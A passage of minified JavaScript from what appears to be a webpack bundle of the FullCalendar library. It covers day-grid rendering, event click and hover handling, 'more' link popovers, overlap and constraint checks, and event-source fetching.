"+(n||"");for(i=this.eventRenderer.renderFgSegEls(i),o=0;o<i.length;o++)i[o].el.addClass(s);if(null!=r)for(o=0;o<i.length;o++)i[o].el.css("opacity",r);this.helperEls=this.renderSegs(i,t)},e.prototype.renderSegs=function(e,t){},e.prototype.unrender=function(){this.helperEls&&(this.helperEls.remove(),this.helperEls=null)},e.prototype.fabricateEventFootprint=function(e){var t,n=this.view.calendar,s=n.footprintToDateProfile(e),a=new r.default(new i.default(n));return a.dateProfile=s,t=a.buildInstance(),new o.default(e,a,t)},e}();t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(23),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.bindToEl=function(e){var t=this.component;t.bindSegHandlerToEl(e,"click",this.handleClick.bind(this)),t.bindSegHandlerToEl(e,"mouseenter",this.handleMouseover.bind(this)),t.bindSegHandlerToEl(e,"mouseleave",this.handleMouseout.bind(this))},t.prototype.handleClick=function(e,t){!1===this.component.publiclyTrigger("eventClick",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,this.view]})&&t.preventDefault()},t.prototype.handleMouseover=function(e,t){o.default.get().shouldIgnoreMouse()||this.mousedOverSeg||(this.mousedOverSeg=e,this.view.isEventDefResizable(e.footprint.eventDef)&&e.el.addClass("fc-allow-mouse-resize"),this.component.publiclyTrigger("eventMouseover",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,this.view]}))},t.prototype.handleMouseout=function(e,t){this.mousedOverSeg&&(this.mousedOverSeg=null,this.view.isEventDefResizable(e.footprint.eventDef)&&e.el.removeClass("fc-allow-mouse-resize"),this.component.publiclyTrigger("eventMouseout",{context:e.el[0],args:[e.footprint.getEventLegacy(),t||{},this.view]}))},t.prototype.end=function(){this.mousedOverSeg&&this.handleMouseout(this.mousedOverSeg)},t}(n(14).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(15),i=n(237),s=n(236),a=n(64),l=n(235),u=n(234),d=n(233),c=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(o.default);t.default=c,c.prototype.dateClickingClass=i.default,c.prototype.dateSelectingClass=s.default,c.prototype.eventPointingClass=a.default,c.prototype.eventDraggingClass=l.default,c.prototype.eventResizingClass=u.default,c.prototype.externalDroppingClass=d.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(58),a=n(227),l=n(5),u=n(12),d=n(34),c=n(61),p=n(65),h=n(42),f=n(60),m=n(243),g=n(244),y=n(245),v=function(e){function t(t){var n=e.call(this,t)||this;return n.cellWeekNumbersVisible=!1,n.bottomCoordPadding=0,n.isRigid=!1,n.hasAllDayBusinessHours=!0,n}return r.__extends(t,e),t.prototype.componentFootprintToSegs=function(e){var t,n,r=this.sliceRangeByRow(e.unzonedRange);for(t=0;t<r.length;t++)n=r[t],this.isRTL?(n.leftCol=this.daysPerRow-1-n.lastRowDayIndex,n.rightCol=this.daysPerRow-1-n.firstRowDayIndex):(n.leftCol=n.firstRowDayIndex,n.rightCol=n.lastRowDayIndex);return r},t.prototype.renderDates=function(e){this.dateProfile=e,this.updateDayTable(),this.renderGrid()},t.prototype.unrenderDates=function(){this.removeSegPopover()},t.prototype.renderGrid=function(){var e,t,n=this.view,r=this.rowCnt,o=this.colCnt,i="";for(this.headContainerEl&&this.headContainerEl.html(this.renderHeadHtml()),e=0;e<r;e++)i+=this.renderDayRowHtml(e,this.isRigid);for(this.el.html(i),this.rowEls=this.el.find(".fc-row"),this.cellEls=this.el.find(".fc-day, .fc-disabled-day"),this.rowCoordCache=new s.default({els:this.rowEls,isVertical:!0}),this.colCoordCache=new s.default({els:this.cellEls.slice(0,this.colCnt),isHorizontal:!0}),e=0;e<r;e++)for(t=0;t<o;t++)this.publiclyTrigger("dayRender",{context:n,args:[this.getCellDate(e,t),this.getCellEl(e,t),n]})},t.prototype.renderDayRowHtml=function(e,t){var n=this.view.calendar.theme,r=["fc-row","fc-week",n.getClass("dayRow")];return t&&r.push("fc-rigid"),'<div class="'+r.join(" ")+'"><div class="fc-bg"><table class="'+n.getClass("tableGrid")+'">'+this.renderBgTrHtml(e)+'</table></div><div class="fc-content-skeleton"><table>'+(this.getIsNumbersVisible()?"<thead>"+this.renderNumberTrHtml(e)+"</thead>":"")+"</table></div></div>"},t.prototype.getIsNumbersVisible=function(){return this.getIsDayNumbersVisible()||this.cellWeekNumbersVisible},t.prototype.getIsDayNumbersVisible=function(){return this.rowCnt>1},t.prototype.renderNumberTrHtml=function(e){return"<tr>"+(this.isRTL?"":this.renderNumberIntroHtml(e))+this.renderNumberCellsHtml(e)+(this.isRTL?this.renderNumberIntroHtml(e):"")+"</tr>"},t.prototype.renderNumberIntroHtml=function(e){return this.renderIntroHtml()},t.prototype.renderNumberCellsHtml=function(e){var t,n,r=[];for(t=0;t<this.colCnt;t++)n=this.getCellDate(e,t),r.push(this.renderNumberCellHtml(n));return r.join("")},t.prototype.renderNumberCellHtml=function(e){var t,n,r=this.view,o="",i=this.dateProfile.activeUnzonedRange.containsDate(e),s=this.getIsDayNumbersVisible()&&i;return s||this.cellWeekNumbersVisible?((t=this.getDayClasses(e)).unshift("fc-day-top"),this.cellWeekNumbersVisible&&(n="ISO"===e._locale._fullCalendar_weekCalc?1:e._locale.firstDayOfWeek()),o+='<td class="'+t.join(" ")+'"'+(i?' data-date="'+e.format()+'"':"")+">",this.cellWeekNumbersVisible&&e.day()===n&&(o+=r.buildGotoAnchorHtml({date:e,type:"week"},{class:"fc-week-number"},e.format("w"))),s&&(o+=r.buildGotoAnchorHtml(e,{class:"fc-day-number"},e.format("D"))),o+="</td>"):"<td></td>"},t.prototype.prepareHits=function(){this.colCoordCache.build(),this.rowCoordCache.build(),this.rowCoordCache.bottoms[this.rowCnt-1]+=this.bottomCoordPadding},t.prototype.releaseHits=function(){this.colCoordCache.clear(),this.rowCoordCache.clear()},t.prototype.queryHit=function(e,t){if(this.colCoordCache.isLeftInBounds(e)&&this.rowCoordCache.isTopInBounds(t)){var n=this.colCoordCache.getHorizontalIndex(e),r=this.rowCoordCache.getVerticalIndex(t);if(null!=r&&null!=n)return this.getCellHit(r,n)}},t.prototype.getHitFootprint=function(e){var t=this.getCellRange(e.row,e.col);return new u.default(new l.default(t.start,t.end),!0)},t.prototype.getHitEl=function(e){return this.getCellEl(e.row,e.col)},t.prototype.getCellHit=function(e,t){return{row:e,col:t,component:this,left:this.colCoordCache.getLeftOffset(t),right:this.colCoordCache.getRightOffset(t),top:this.rowCoordCache.getTopOffset(e),bottom:this.rowCoordCache.getBottomOffset(e)}},t.prototype.getCellEl=function(e,t){return this.cellEls.eq(e*this.colCnt+t)},t.prototype.executeEventUnrender=function(){this.removeSegPopover(),e.prototype.executeEventUnrender.call(this)},t.prototype.getOwnEventSegs=function(){return e.prototype.getOwnEventSegs.call(this).concat(this.popoverSegs||[])},t.prototype.renderDrag=function(e,t,n){var r;for(r=0;r<e.length;r++)this.renderHighlight(e[r].componentFootprint);if(e.length&&t&&t.component!==this)return this.helperRenderer.renderEventDraggingFootprints(e,t,n),!0},t.prototype.unrenderDrag=function(){this.unrenderHighlight(),this.helperRenderer.unrender()},t.prototype.renderEventResize=function(e,t,n){var r;for(r=0;r<e.length;r++)this.renderHighlight(e[r].componentFootprint);this.helperRenderer.renderEventResizingFootprints(e,t,n)},t.prototype.unrenderEventResize=function(){this.unrenderHighlight(),this.helperRenderer.unrender()},t.prototype.removeSegPopover=function(){this.segPopover&&this.segPopover.hide()},t.prototype.limitRows=function(e){var t,n,r=this.eventRenderer.rowStructs||[];for(t=0;t<r.length;t++)this.unlimitRow(t),!1!==(n=!!e&&("number"==typeof e?e:this.computeRowLevelLimit(t)))&&this.limitRow(t,n)},t.prototype.computeRowLevelLimit=function(e){var t,n,r,i=this.rowEls.eq(e).height(),s=this.eventRenderer.rowStructs[e].tbodyEl.children();function a(e,t){r=Math.max(r,o(t).outerHeight())}for(t=0;t<s.length;t++)if(n=s.eq(t).removeClass("fc-limited"),r=0,n.find("> td > :first-child").each(a),n.position().top+r>i)return t;return!1},t.prototype.limitRow=function(e,t){var n,r,i,s,a,l,u,d,c,p,h,f,m,g,y,v=this,_=this.eventRenderer.rowStructs[e],b=[],M=0,D=function(n){for(;M<n;)(l=v.getCellSegs(e,M,t)).length&&(c=r[t-1][M],y=v.renderMoreLink(e,M,l),g=o("<div>").append(y),c.append(g),b.push(g[0])),M++};if(t&&t<_.segLevels.length){for(n=_.segLevels[t-1],r=_.cellMatrix,i=_.tbodyEl.children().slice(t).addClass("fc-limited").get(),s=0;s<n.length;s++){for(D((a=n[s]).leftCol),d=[],u=0;M<=a.rightCol;)l=this.getCellSegs(e,M,t),d.push(l),u+=l.length,M++;if(u){for(p=(c=r[t-1][a.leftCol]).attr("rowspan")||1,h=[],f=0;f<d.length;f++)m=o('<td class="fc-more-cell">').attr("rowspan",p),l=d[f],y=this.renderMoreLink(e,a.leftCol+f,[a].concat(l)),g=o("<div>").append(y),m.append(g),h.push(m[0]),b.push(m[0]);c.addClass("fc-limited").after(o(h)),i.push(c[0])}}D(this.colCnt),_.moreEls=o(b),_.limitedEls=o(i)}},t.prototype.unlimitRow=function(e){var t=this.eventRenderer.rowStructs[e];t.moreEls&&(t.moreEls.remove(),t.moreEls=null),t.limitedEls&&(t.limitedEls.removeClass("fc-limited"),t.limitedEls=null)},t.prototype.renderMoreLink=function(e,t,n){var r=this,i=this.view;return o('<a class="fc-more">').text(this.getMoreLinkText(n.length)).on("click",(function(s){var a=r.opt("eventLimitClick"),l=r.getCellDate(e,t),u=o(s.currentTarget),d=r.getCellEl(e,t),c=r.getCellSegs(e,t),p=r.resliceDaySegs(c,l),h=r.resliceDaySegs(n,l);"function"==typeof a&&(a=r.publiclyTrigger("eventLimitClick",{context:i,args:[{date:l.clone(),dayEl:d,moreEl:u,segs:p,hiddenSegs:h},s,i]})),"popover"===a?r.showSegPopover(e,t,u,p):"string"==typeof a&&i.calendar.zoomTo(l,a)}))},t.prototype.showSegPopover=function(e,t,n,r){var o,i,s=this,l=this.view,u=n.parent();o=1===this.rowCnt?l.el:this.rowEls.eq(e),i={className:"fc-more-popover "+l.calendar.theme.getClass("popover"),content:this.renderSegPopoverContent(e,t,r),parentEl:l.el,top:o.offset().top,autoHide:!0,viewportConstrain:this.opt("popoverViewportConstrain"),hide:function(){s.popoverSegs&&s.triggerBeforeEventSegsDestroyed(s.popoverSegs),s.segPopover.removeElement(),s.segPopover=null,s.popoverSegs=null}},this.isRTL?i.right=u.offset().left+u.outerWidth()+1:i.left=u.offset().left-1,this.segPopover=new a.default(i),this.segPopover.show(),this.bindAllSegHandlersToEl(this.segPopover.el),this.triggerAfterEventSegsRendered(r)},t.prototype.renderSegPopoverContent=function(e,t,n){var r,s=this.view.calendar.theme,a=this.getCellDate(e,t).format(this.opt("dayPopoverFormat")),l=o('<div class="fc-header '+s.getClass("popoverHeader")+'"><span class="fc-close '+s.getIconClass("close")+'"></span><span class="fc-title">'+i.htmlEscape(a)+'</span><div class="fc-clear"></div></div><div class="fc-body '+s.getClass("popoverContent")+'"><div class="fc-event-container"></div></div>'),u=l.find(".fc-event-container");for(n=this.eventRenderer.renderFgSegEls(n,!0),this.popoverSegs=n,r=0;r<n.length;r++)this.hitsNeeded(),n[r].hit=this.getCellHit(e,t),this.hitsNotNeeded(),u.append(n[r].el);return l},t.prototype.resliceDaySegs=function(e,t){var n,r,i,s=t.clone(),a=s.clone().add(1,"days"),c=new l.default(s,a),p=[];for(n=0;n<e.length;n++)(i=(r=e[n]).footprint.componentFootprint.unzonedRange.intersect(c))&&p.push(o.extend({},r,{footprint:new d.default(new u.default(i,r.footprint.componentFootprint.isAllDay),r.footprint.eventDef,r.footprint.eventInstance),isStart:r.isStart&&i.isStart,isEnd:r.isEnd&&i.isEnd}));return this.eventRenderer.sortEventSegs(p),p},t.prototype.getMoreLinkText=function(e){var t=this.opt("eventLimitText");return"function"==typeof t?t(e):"+"+e+" "+t},t.prototype.getCellSegs=function(e,t,n){for(var r,o=this.eventRenderer.rowStructs[e].segMatrix,i=n||0,s=[];i<o.length;)(r=o[i][t])&&s.push(r),i++;return s},t}(h.default);t.default=v,v.prototype.eventRendererClass=m.default,v.prototype.businessHourRendererClass=c.default,v.prototype.helperRendererClass=g.default,v.prototype.fillRendererClass=y.default,p.default.mixInto(v),f.default.mixInto(v)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(41),a=n(43),l=n(68),u=n(66),d=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.dayGrid=r.instantiateDayGrid(),r.dayGrid.isRigid=r.hasRigidRows(),r.opt("weekNumbers")&&(r.opt("weekNumbersWithinDays")?(r.dayGrid.cellWeekNumbersVisible=!0,r.dayGrid.colWeekNumbersVisible=!1):(r.dayGrid.cellWeekNumbersVisible=!1,r.dayGrid.colWeekNumbersVisible=!0)),r.addChild(r.dayGrid),r.scroller=new s.default({overflowX:"hidden",overflowY:"auto"}),r}return r.__extends(t,e),t.prototype.instantiateDayGrid=function(){return new(function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.colWeekNumbersVisible=!1,t}return r.__extends(t,e),t.prototype.renderHeadIntroHtml=function(){var e=this.view;return this.colWeekNumbersVisible?'<th class="fc-week-number '+e.calendar.theme.getClass("widgetHeader")+'" '+e.weekNumberStyleAttr()+"><span>"+i.htmlEscape(this.opt("weekNumberTitle"))+"</span></th>":""},t.prototype.renderNumberIntroHtml=function(e){var t=this.view,n=this.getCellDate(e,0);return this.colWeekNumbersVisible?'<td class="fc-week-number" '+t.weekNumberStyleAttr()+">"+t.buildGotoAnchorHtml({date:n,type:"week",forceOff:1===this.colCnt},n.format("w"))+"</td>":""},t.prototype.renderBgIntroHtml=function(){var e=this.view;return this.colWeekNumbersVisible?'<td class="fc-week-number '+e.calendar.theme.getClass("widgetContent")+'" '+e.weekNumberStyleAttr()+"></td>":""},t.prototype.renderIntroHtml=function(){var e=this.view;return this.colWeekNumbersVisible?'<td class="fc-week-number" '+e.weekNumberStyleAttr()+"></td>":""},t.prototype.getIsNumbersVisible=function(){return u.default.prototype.getIsNumbersVisible.apply(this,arguments)||this.colWeekNumbersVisible},t}(this.dayGridClass))(this)},t.prototype.executeDateRender=function(t){this.dayGrid.breakOnWeeks=/year|month|week/.test(t.currentRangeUnit),e.prototype.executeDateRender.call(this,t)},t.prototype.renderSkeleton=function(){var e,t;this.el.addClass("fc-basic-view").html(this.renderSkeletonHtml()),this.scroller.render(),e=this.scroller.el.addClass("fc-day-grid-container"),t=o('<div class="fc-day-grid">').appendTo(e),this.el.find(".fc-body > tr > td").append(e),this.dayGrid.headContainerEl=this.el.find(".fc-head-container"),this.dayGrid.setElement(t)},t.prototype.unrenderSkeleton=function(){this.dayGrid.removeElement(),this.scroller.destroy()},t.prototype.renderSkeletonHtml=function(){var e=this.calendar.theme;return'<table class="'+e.getClass("tableGrid")+'">'+(this.opt("columnHeader")?'<thead class="fc-head"><tr><td class="fc-head-container '+e.getClass("widgetHeader")+'">&nbsp;</td></tr></thead>':"")+'<tbody class="fc-body"><tr><td class="'+e.getClass("widgetContent")+'"></td></tr></tbody></table>'},t.prototype.weekNumberStyleAttr=function(){return null!=this.weekNumberWidth?'style="width:'+this.weekNumberWidth+'px"':""},t.prototype.hasRigidRows=function(){var e=this.opt("eventLimit");return e&&"number"!=typeof e},t.prototype.updateSize=function(t,n,r){var o,s,a=this.opt("eventLimit"),l=this.dayGrid.headContainerEl.find(".fc-row");this.dayGrid.rowEls?(e.prototype.updateSize.call(this,t,n,r),this.dayGrid.colWeekNumbersVisible&&(this.weekNumberWidth=i.matchCellWidths(this.el.find(".fc-week-number"))),this.scroller.clear(),i.uncompensateScroll(l),this.dayGrid.removeSegPopover(),a&&"number"==typeof a&&this.dayGrid.limitRows(a),o=this.computeScrollerHeight(t),this.setGridHeight(o,n),a&&"number"!=typeof a&&this.dayGrid.limitRows(a),n||(this.scroller.setHeight(o),((s=this.scroller.getScrollbarWidths()).left||s.right)&&(i.compensateScroll(l,s),o=this.computeScrollerHeight(t),this.scroller.setHeight(o)),this.scroller.lockOverflow(s))):n||(o=this.computeScrollerHeight(t),this.scroller.setHeight(o))},t.prototype.computeScrollerHeight=function(e){return e-i.subtractInnerElHeight(this.el,this.scroller.el)},t.prototype.setGridHeight=function(e,t){t?i.undistributeHeight(this.dayGrid.rowEls):i.distributeHeight(this.dayGrid.rowEls,e,!0)},t.prototype.computeInitialDateScroll=function(){return{top:0}},t.prototype.queryDateScroll=function(){return{top:this.scroller.getScrollTop()}},t.prototype.applyDateScroll=function(e){void 0!==e.top&&this.scroller.setScrollTop(e.top)},t}(a.default);t.default=d,d.prototype.dateProfileGeneratorClass=l.default,d.prototype.dayGridClass=u.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(5),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.buildRenderRange=function(t,n,r){var i=e.prototype.buildRenderRange.call(this,t,n,r),s=this.msToUtcMoment(i.startMs,r),a=this.msToUtcMoment(i.endMs,r);return/^(year|month)$/.test(n)&&(s.startOf("week"),a.weekday()&&a.add(1,"week").startOf("week")),new o.default(s,a)},t}(n(55).default);t.default=i},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(5),o=n(12),i=n(36),s=n(6),a=n(19),l=function(){function e(e,t){this.eventManager=e,this._calendar=t}return e.prototype.opt=function(e){return this._calendar.opt(e)},e.prototype.isEventInstanceGroupAllowed=function(e){var t,n=e.getEventDef(),r=this.eventRangesToEventFootprints(e.getAllEventRanges()),o=this.getPeerEventInstances(n).map(a.eventInstanceToEventRange),i=this.eventRangesToEventFootprints(o),s=n.getConstraint(),l=n.getOverlap(),u=this.opt("eventAllow");for(t=0;t<r.length;t++)if(!this.isFootprintAllowed(r[t].componentFootprint,i,s,l,r[t].eventInstance))return!1;if(u)for(t=0;t<r.length;t++)if(!1===u(r[t].componentFootprint.toLegacy(this._calendar),r[t].getEventLegacy()))return!1;return!0},e.prototype.getPeerEventInstances=function(e){return this.eventManager.getEventInstancesWithoutId(e.id)},e.prototype.isSelectionFootprintAllowed=function(e){var t,n=this.eventManager.getEventInstances().map(a.eventInstanceToEventRange),r=this.eventRangesToEventFootprints(n);return!(!this.isFootprintAllowed(e,r,this.opt("selectConstraint"),this.opt("selectOverlap"))||(t=this.opt("selectAllow"))&&!1===t(e.toLegacy(this._calendar)))},e.prototype.isFootprintAllowed=function(e,t,n,r,o){var i,s;if(null!=n&&(i=this.constraintValToFootprints(n,e.isAllDay),!this.isFootprintWithinConstraints(e,i)))return!1;if(s=this.collectOverlapEventFootprints(t,e),!1===r){if(s.length)return!1}else if("function"==typeof r&&!function(e,t,n){var r;for(r=0;r<e.length;r++)if(!t(e[r].eventInstance.toLegacy(),n?n.toLegacy():null))return!1;return!0}(s,r,o))return!1;return!(o&&!function(e,t){var n,r,o,i,s=t.toLegacy();for(n=0;n<e.length;n++){if(r=e[n].eventInstance,o=r.def,!1===(i=o.getOverlap()))return!1;if("function"==typeof i&&!i(r.toLegacy(),s))return!1}return!0}(s,o))},e.prototype.isFootprintWithinConstraints=function(e,t){var n;for(n=0;n<t.length;n++)if(this.footprintContainsFootprint(t[n],e))return!0;return!1},e.prototype.constraintValToFootprints=function(e,t){var n;return"businessHours"===e?this.buildCurrentBusinessFootprints(t):"object"==typeof e?(n=this.parseEventDefToInstances(e))?this.eventInstancesToFootprints(n):this.parseFootprints(e):null!=e?(n=this.eventManager.getEventInstancesWithId(e),this.eventInstancesToFootprints(n)):void 0},e.prototype.buildCurrentBusinessFootprints=function(e){var t=this._calendar.view,n=t.get("businessHourGenerator"),r=t.dateProfile.activeUnzonedRange,o=n.buildEventInstanceGroup(e,r);return o?this.eventInstancesToFootprints(o.eventInstances):[]},e.prototype.eventInstancesToFootprints=function(e){var t=e.map(a.eventInstanceToEventRange);return this.eventRangesToEventFootprints(t).map(a.eventFootprintToComponentFootprint)},e.prototype.collectOverlapEventFootprints=function(e,t){var n,r=[];for(n=0;n<e.length;n++)this.footprintsIntersect(t,e[n].componentFootprint)&&r.push(e[n]);return r},e.prototype.parseEventDefToInstances=function(e){var t=this.eventManager,n=i.default.parse(e,new s.default(this._calendar));return!!n&&n.buildInstances(t.currentPeriod.unzonedRange)},e.prototype.eventRangesToEventFootprints=function(e){var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.eventRangeToEventFootprints(e[t]));return n},e.prototype.eventRangeToEventFootprints=function(e){return[a.eventRangeToEventFootprint(e)]},e.prototype.parseFootprints=function(e){var t,n;return e.start&&((t=this._calendar.moment(e.start)).isValid()||(t=null)),e.end&&((n=this._calendar.moment(e.end)).isValid()||(n=null)),[new o.default(new r.default(t,n),t&&!t.hasTime()||n&&!n.hasTime())]},e.prototype.footprintContainsFootprint=function(e,t){return e.unzonedRange.containsRange(t.unzonedRange)},e.prototype.footprintsIntersect=function(e,t){return e.unzonedRange.intersectsWith(t.unzonedRange)},e}();t.default=l},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(19),i=n(20),s=n(54),a=n(6),l={start:"09:00",end:"17:00",dow:[1,2,3,4,5],rendering:"inverse-background"},u=function(){function e(e,t){this.rawComplexDef=e,this.calendar=t}return e.prototype.buildEventInstanceGroup=function(e,t){var n,r=this.buildEventDefs(e);if(r.length)return(n=new i.default(o.eventDefsToEventInstances(r,t))).explicitEventDef=r[0],n},e.prototype.buildEventDefs=function(e){var t,n=this.rawComplexDef,o=[],i=!1,s=[];for(!0===n?o=[{}]:r.isPlainObject(n)?o=[n]:r.isArray(n)&&(o=n,i=!0),t=0;t<o.length;t++)i&&!o[t].dow||s.push(this.buildEventDef(e,o[t]));return s},e.prototype.buildEventDef=function(e,t){var n=r.extend({},l,t);return e&&(n.start=null,n.end=null),s.default.parse(n,new a.default(this.calendar))},e}();t.default=u},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=n(21),s=n(13),a=n(5),l=n(20),u=function(){function e(e,t,n){this.pendingCnt=0,this.freezeDepth=0,this.stuntedReleaseCnt=0,this.releaseCnt=0,this.start=e,this.end=t,this.timezone=n,this.unzonedRange=new a.default(e.clone().stripZone(),t.clone().stripZone()),this.requestsByUid={},this.eventDefsByUid={},this.eventDefsById={},this.eventInstanceGroupsById={}}return e.prototype.isWithinRange=function(e,t){return!e.isBefore(this.start)&&!t.isAfter(this.end)},e.prototype.requestSources=function(e){this.freeze();for(var t=0;t<e.length;t++)this.requestSource(e[t]);this.thaw()},e.prototype.requestSource=function(e){var t=this,n={source:e,status:"pending",eventDefs:null};this.requestsByUid[e.uid]=n,this.pendingCnt+=1,e.fetch(this.start,this.end,this.timezone).then((function(e){"cancelled"!==n.status&&(n.status="completed",n.eventDefs=e,t.addEventDefs(e),t.pendingCnt--,t.tryRelease())}),(function(){"cancelled"!==n.status&&(n.status="failed",t.pendingCnt--,t.tryRelease())}))},e.prototype.purgeSource=function(e){var t=this.requestsByUid[e.uid];t&&(delete this.requestsByUid[e.uid],"pending"===t.status?(t.status="cancelled",this.pendingCnt--,this.tryRelease()):"completed"===t.status&&t.eventDefs.forEach(this.removeEventDef.bind(this)))},e.prototype.purgeAllSources=function(){var e,t,n=this.requestsByUid,r=0;for(e in n)"pending"===(t=n[e]).status?t.status="cancelled":"completed"===t.status&&r++;this.requestsByUid={},this.pendingCnt=0,r&&this.removeAllEventDefs()},e.prototype.getEventDefByUid=function(e){return this.eventDefsByUid[e]},e.prototype.getEventDefsById=function(e){var t=this.eventDefsById[e];return t?t.slice():[]},e.prototype.addEventDefs=function(e){for(var t=0;t<e.length;t++)this.addEventDef(e[t])},e.prototype.addEventDef=function(e){var t,n=this.eventDefsById,r=e.id,o=n[r]||(n[r]=[]),i=e.buildInstances(this.unzonedRange);for(o.push(e),this.eventDefsByUid[e.uid]=e,t=0;t<i.length;t++)this.addEventInstance(i[t],r)},e.prototype.removeEventDefsById=function(e){var t=this;this.getEventDefsById(e).forEach((function(e){t.removeEventDef(e)}))},e.prototype.removeAllEventDefs=function(){var e=r.isEmptyObject(this.eventDefsByUid);this.eventDefsByUid={},this.eventDefsById={},this.eventInstanceGroupsById={},e||this.tryRelease()},e.prototype.removeEventDef=function(e){var t=this.eventDefsById,n=t[e.id];delete this.eventDefsByUid[e.uid],n&&(o.removeExact(n,e),n.length||delete t[e.id],this.removeEventInstancesForDef(e))},e.prototype.getEventInstances=function(){var e,t=this.eventInstanceGroupsById,n=[];for(e in t)n.push.apply(n,t[e].eventInstances);return n},e.prototype.getEventInstancesWithId=function(e){var t=this.eventInstanceGroupsById[e];return t?t.eventInstances.slice():[]},e.prototype.getEventInstancesWithoutId=function(e){var t,n=this.eventInstanceGroupsById,r=[];for(t in n)t!==e&&r.push.apply(r,n[t].eventInstances);return r},e.prototype.addEventInstance=function(e,t){var n=this.eventInstanceGroupsById;(n[t]||(n[t]=new l.default)).eventInstances.push(e),this.tryRelease()},e.prototype.removeEventInstancesForDef=function(e){var t,n=this.eventInstanceGroupsById,r=n[e.id];r&&(t=o.removeMatching(r.eventInstances,(function(t){return t.def===e})),r.eventInstances.length||delete n[e.id],t&&this.tryRelease())},e.prototype.tryRelease=function(){this.pendingCnt||(this.freezeDepth?this.stuntedReleaseCnt++:this.release())},e.prototype.release=function(){this.releaseCnt++,this.trigger("release",this.eventInstanceGroupsById)},e.prototype.whenReleased=function(){var e=this;return this.releaseCnt?i.default.resolve(this.eventInstanceGroupsById):i.default.construct((function(t){e.one("release",t)}))},e.prototype.freeze=function(){this.freezeDepth++||(this.stuntedReleaseCnt=0)},e.prototype.thaw=function(){--this.freezeDepth||!this.stuntedReleaseCnt||this.pendingCnt||this.release()},e}();t.default=u,s.default.mixInto(u)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=n(219),s=n(56),a=n(6),l=n(38),u=n(9),d=n(20),c=n(13),p=n(7),h=function(){function e(e){this.calendar=e,this.stickySource=new s.default(e),this.otherSources=[]}return e.prototype.requestEvents=function(e,t,n,r){return!r&&this.currentPeriod&&this.currentPeriod.isWithinRange(e,t)&&n===this.currentPeriod.timezone||this.setPeriod(new i.default(e,t,n)),this.currentPeriod.whenReleased()},e.prototype.addSource=function(e){this.otherSources.push(e),this.currentPeriod&&this.currentPeriod.requestSource(e)},e.prototype.removeSource=function(e){o.removeExact(this.otherSources,e),this.currentPeriod&&this.currentPeriod.purgeSource(e)},e.prototype.removeAllSources=function(){this.otherSources=[],this.currentPeriod&&this.currentPeriod.purgeAllSources()},e.prototype.refetchSource=function(e){var t=this.currentPeriod;t&&(t.freeze(),t.purgeSource(e),t.requestSource(e),t.thaw())},e.prototype.refetchAllSources=function(){var e=this.currentPeriod;e&&(e.freeze(),e.purgeAllSources(),e.requestSources(this.getSources()),e.thaw())},e.prototype.getSources=function(){return[this.stickySource].concat(this.otherSources)},e.prototype.multiQuerySources=function(e){e?r.isArray(e)||(e=[e]):e=[];var t,n=[];for(t=0;t<e.length;t++)n.push.apply(n,this.querySources(e[t]));return n},e.prototype.querySources=function(e){var t,n,o=this.otherSources;for(t=0;t<o.length;t++)if((n=o[t])===e)return[n];return(n=this.getSourceById(a.default.normalizeId(e)))?[n]:(e=l.default.parse(e,this.calendar))?r.grep(o,(function(t){return n=t,e.getPrimitive()===n.getPrimitive();var n})):void 0},e.prototype.getSourceById=function(e){return r.grep(this.otherSources,(function(t){return t.id&&t.id===e}))[0]},e.prototype.setPeriod=function(e){this.currentPeriod&&(this.unbindPeriod(this.currentPeriod),this.currentPeriod=null),this.currentPeriod=e,this.bindPeriod(e),e.requestSources(this.getSources())},e.prototype.bindPeriod=function(e){this.listenTo(e,"release",(function(e){this.trigger("release",e)}))},e.prototype.unbindPeriod=function(e){this.stopListeningTo(e)},e.prototype.getEventDefByUid=function(e){if(this.currentPeriod)return this.currentPeriod.getEventDefByUid(e)},e.prototype.addEventDef=function(e,t){t&&this.stickySource.addEventDef(e),this.currentPeriod&&this.currentPeriod.addEventDef(e)},e.prototype.removeEventDefsById=function(e){this.getSources().forEach((function(t){t.removeEventDefsById(e)})),this.currentPeriod&&this.currentPeriod.removeEventDefsById(e)},e.prototype.removeAllEventDefs=function(){this.getSources().forEach((function(e){e.removeAllEventDefs()})),this.currentPeriod&&this.currentPeriod.removeAllEventDefs()},e.prototype.mutateEventsWithId=function(e,t){var n,r=this.currentPeriod,o=[];return r?(r.freeze(),(n=r.getEventDefsById(e)).forEach((function(e){r.removeEventDef(e),o.push(t.mutateSingle(e)),r.addEventDef(e)})),r.thaw(),function(){r.freeze();for(var e=0;e<n.length;e++)r.removeEventDef(n[e]),o[e](),r.addEventDef(n[e]);r.thaw()}):function(){}},e.prototype.buildMutatedEventInstanceGroup=function(e,t){var n,r,o=this.getEventDefsById(e),i=[];for(n=0;n<o.length;n++)(r=o[n].clone())instanceof u.default&&(t.mutateSingle(r),i.push.apply(i,r.buildInstances()));return new 